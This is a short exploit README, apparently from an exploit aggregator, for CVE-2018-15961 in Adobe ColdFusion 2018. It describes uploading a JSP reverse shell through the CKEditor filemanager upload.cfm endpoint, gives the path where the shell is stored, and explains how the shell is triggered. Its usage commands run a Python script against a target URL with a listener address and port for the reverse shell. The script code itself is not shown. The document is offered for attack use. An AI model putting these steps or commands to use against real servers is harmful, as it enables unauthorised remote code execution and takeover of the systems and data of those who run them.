## https://sploitus.com/exploit?id=5AA6ACFB-2752-5E61-BF16-375C559392BE
# CVE-2018-15961 - Adobe ColdFusion 2018 RCE
This repository contains my exploit code for the RCE vulnerability in Adobe ColdFusion 2018.
## Exploit Description
The exploit sends a POST request containing a JSP reverse shell to `/cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm`. If successfull, this uploads the shell to `/cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/shell.jsp`. The code then triggers to shell by sending a simple GET request.
## Usage
```bash
# Basic usage
python3 coldfusion_rce.py -u http://172.31.1.15:8500 -l 10.10.0.25 -p 443
# With custom filename for the shell
python3 coldfusion_rce.py -u http://172.31.1.15:8500 -l 10.10.0.25 -p 443 -f reverse.jsp
```